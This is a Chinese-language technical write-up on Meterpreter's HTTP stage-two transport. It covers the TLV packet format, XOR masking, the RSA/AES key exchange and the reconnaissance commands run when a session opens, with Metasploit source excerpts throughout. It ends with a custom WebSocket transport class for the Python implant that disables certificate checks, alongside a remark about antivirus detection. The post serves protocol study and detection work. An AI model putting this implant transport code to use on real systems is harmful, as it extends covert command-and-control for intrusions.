前言

本篇文章涉及了Meterpreter的第二阶段HTTP传输方式(方便查看流量)的通信过程,TLV数据包的封包和解包,AES密钥的交换,其他传输方式的实现.

初始化

<http://127.0.0.1:8080/HmQQ5Sve4PcQJAUwcLfQRQkhyq2vTdvO7e2STIAQOJl6YIiWO48_cPkPoRxW7f8ABYHEMS8fcWTG74qW_ptibmdJhq1QGHOkbhn5ExF6bwksG63LDdIQ1Z83b6erJqtJbWhnhzaudew8ystbbk0cKGi/>
[1] pry(# <# <Class:0x00007f31a8d18978>>)> info
=> {:uri=>"HmQQ5Sve4PcQJAUwcLfQRQkhyq2vTdvO7e2STIAQOJl6YIiWO48_cPkPoRxW7f8ABYHEMS8fcWTG74qW_ptibmdJhq1QGHOkbhn5ExF6bwksG63LDdIQ1Z83b6erJqtJbWhnhzaudew8ystbbk0cKGi",
 :sum=>95,
 :uuid=>
  # <Msf::Payload::UUID:0x00007f31a9276320
   @arch="python",
   @name=nil,
   @platform="python",
   @puid="\\x1Ed\\x10\\xE5+\\xDE\\xE0\\xF7",
   @registered=false,
   @timestamp=1621063951,
   @xor1=16,
   @xor2=36>,
 :mode=>:init_connect}
# lib/rex/payloads/meterpreter/uri_checksum.rb

URI_CHECKSUM_INITW      = 92 # Windows
URI_CHECKSUM_INITN      = 92 # Native (same as Windows)
URI_CHECKSUM_INITP      = 80 # Python
URI_CHECKSUM_INITJ      = 88 # Java
URI_CHECKSUM_CONN       = 98 # Existing session
URI_CHECKSUM_INIT_CONN  = 95 # New stageless session

# Mapping between checksums and modes
URI_CHECKSUM_MODES = Hash[
URI_CHECKSUM_INITN,      :init_native,
URI_CHECKSUM_INITP,      :init_python,
URI_CHECKSUM_INITJ,      :init_java,
URI_CHECKSUM_INIT_CONN,  :init_connect,
URI_CHECKSUM_CONN,       :connect
]
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL)
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
resp.body = pkt.to_r
# lib/rex/post/meterpreter/packet.rb

def to_r(session_guid = nil, key = nil)
    xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr

    raw = (session_guid || NULL_GUID).dup
    tlv_data = GroupTlv.instance_method(:to_r).bind(self).call

    if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256)
        # encrypt the data, but not include the length and type
        iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1])
        # now manually add the length/type/iv/ciphertext
        raw << [key[:type], iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*')
    else
        raw << [ENC_FLAG_NONE, tlv_data].pack('NA*')
    end

    # return the xor'd result with the key
    xor_key + xor_bytes(xor_key, raw)
end

Untitled

In [46]: xor_key
Out[46]: (70, 6, 184, 52)
# lib/rex/post/meterpreter/packet.rb
PACKET_XOR_KEY_SIZE = 4  # to_r异或加密后加上的随机4位数
PACKET_SESSION_GUID_SIZE = 16 # 默认全是0,初始化完会调用core_set_session_guid设置
PACKET_ENCRYPT_FLAG_SIZE = 4 # ENC_FLAG_NONE   = 0x0 ENC_FLAG_AES256 = 0x1 ENC_FLAG_AES128 = 0x2
# 下面两个其实是TLV封包时加上的,放在to_r这有点误导人
PACKET_LENGTH_SIZE = 4
PACKET_TYPE_SIZE = 4

PACKET_HEADER_SIZE = (PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE + PACKET_ENCRYPT_FLAG_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE) # 32

Untitled

Untitled

Untitled

In [120]: struct.unpack(">II", raw[PACKET_HEADER_SIZE+12:][:8])
Out[120]: (125, 65967)

In [121]:  raw[PACKET_HEADER_SIZE+12+8:][:125]
Out[121]: b'/HmQQ5Sve4PcQJAUwcLud_wFg7pgICi0Jz-LqeFLbbMsY6Ng8slPEdL76nsS2xpJmO8Byf83uxYYZZdzifyRQwhwfo0IsXdB8OCuKIhCH1mgz4eZUej/\\x00'

In [122]: str(raw[PACKET_HEADER_SIZE+12+8:][:125].split(NULL_BYTE, 1)[0])
Out[122]: '/HmQQ5Sve4PcQJAUwcLud_wFg7pgICi0Jz-LqeFLbbMsY6Ng8slPEdL76nsS2xpJmO8Byf83uxYYZZdzifyRQwhwfo0IsXdB8OCuKIhCH1mgz4eZUej/'

In [123]: TLV_TYPE_TRANS_URL
Out[123]: 65967

TLV Packets (Type, Length, Value)

TLV封包结构

b'\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00i\\x00\\x01\\x01\\xaf/HmQQ5Sve4PcQJAUwcITdrgWVPQE2FoQa6QGValIwBZRhDRh6FLWA9ePo4jOVNgBomJSxzM4mv8qSneHOnHM-oiCWp4kCY2/\\x00'
Length(截取值时的偏移位置)32 bits Type(值的数据类型)32 bits Value(值的内容)0..n bits
\x00\x00\x00\x0c \x00\x02\x00\x01 \x00\x00\x00\x11
\x00\x00\x00i \x00\x01\x01\xaf /HmQQ5Sve4PcQ…oiCWp4kCY2/\x00’
\\x00\\x00\\x00\\x0c
\\x00\\x02\\x00\\x01
\\x00\\x00\\x00\\x11

\\x00\\x00\\x00i
\\x00\\x01\\x01\\xaf
/HmQQ5Sve4PcQJAUwcITdrgWVPQE2FoQa6QGValIwBZRhDRh6FLWA9ePo4jOVNgBomJSxzM4mv8qSneHOnHM-oiCWp4kCY2/\\x00'

通过修改请求的URL改变状态

# 主体在lib/msf/base/sessions/meterpreter_multi.rb
create_session(cli, {
    :passive_dispatcher => self.service,
    :dispatch_ext       => [Rex::Post::Meterpreter::HttpPacketDispatcher],
    :conn_id            => conn_id,
    :url                => url,
    :expiration         => datastore['SessionExpirationTimeout'].to_i,
    :comm_timeout       => datastore['SessionCommunicationTimeout'].to_i,
    :retry_total        => datastore['SessionRetryTotal'].to_i,
    :retry_wait         => datastore['SessionRetryWait'].to_i,
    :ssl                => ssl?,
    :payload_uuid       => uuid
    })
def negotiate_tlv_encryption
    sym_key = nil
    rsa_key = OpenSSL::PKey::RSA.new(2048)
    rsa_pub_key = rsa_key.public_key

    request  = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)
    request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)

    begin
        response = client.send_request(request)
        key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)
        key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)

        if key_enc
            sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
        else
            sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)
        end
    rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError
        # 1) OpenSSL error may be due to padding issues (or something else)
        # 2) Request error probably means the request isn't supported, so fallback to plain
    end

    {
        key:  sym_key,
        type: key_type
    }
end
core_machine_id # 获取硬盘名称和主机名
core_set_session_guid # 重新设置session_guid,因为在加解密会用到session_guid,没设置之前全为0
core_enumextcmd # 把当前的客户端支持的功能扩展返回给Metasploit控制端
core_loadlib # 加载stdapi,这个可以在创建监听器是设置是否自动加载,上来就加载会调用系统的几个dll,很多杀软你懂得
stdapi_fs_getwd # 获取当前运行目录
stdapi_sys_config_getuid # 获取当前用户名
stdapi_sys_config_sysinfo # 获取主机名,系统语言,系统架构,系统版本信息
core_set_uuid # 设置PAYLOAD_UUID
stdapi_net_config_get_interfaces # 获取网卡信息
stdapi_net_config_get_routes # 获取路由信息

自定义传输方式

class WebSocketTransport(Transport):
    def __init__(self, url):
        super(WebSocketTransport, self).__init__()
        opener_args = []
        scheme = url.split(':', 1)[0]
        self.url = url
        self._first_packet = None
        self._empty_cnt = 0
        self.message_packet = queue.Queue()
        self.ws = websocket.WebSocketApp(self.url, on_open=self.on_open, on_message=self.on_message,
                                         on_ping=self.on_ping,
                                         on_pong=self.on_pong)
        self.ws_thread = threading.Thread(target=self.run_ws)
        self.ws_thread.start()

    def on_open(self):
        pass

    def run_ws(self):
        self.ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE}, ping_interval=60, ping_timeout=10,
                            ping_payload="This is an optional ping payload")

    def on_message(self, ws, message):
        self.message_packet.put(message)

    def on_error(self, ws, error):
        print("error", error)

    def on_close(self, ws):
        print("### closed ### ")

    def on_ping(self, wsapp, message):
        print("Got a ping!")

    def on_pong(self, wsapp, message):
        print("Got a pong! No need to respond")

    def _get_packet(self):
        if self._first_packet:
            packet = self._first_packet
            self._first_packet = None
            return packet
        packet = None
        xor_key = None
        try:
            if self.message_packet.not_empty:
                packet = self.message_packet.get()
                if len(packet) < PACKET_HEADER_SIZE:
                    packet = None  # looks corrupt
                else:
                    xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
                    header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
                    pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF + PACKET_LENGTH_SIZE])[
                                     0] - 8
                    if len(packet) != (pkt_length + PACKET_HEADER_SIZE):
                        packet = None  # looks corrupt
        except:
            debug_traceback('[-] failure to receive packet from ' + self.url)
            self.is_end = True

        if not packet:
            self.communication_last = time.time()
            delay = 100 * self._empty_cnt
            self._empty_cnt += 1
            time.sleep(float(min(10000, delay)) / 1000)
            return packet

        self._empty_cnt = 0
        return packet

    def _send_packet(self, packet):
        self.ws.send(data=packet, opcode=ABNF.OPCODE_BINARY)
Powered by Kali-Team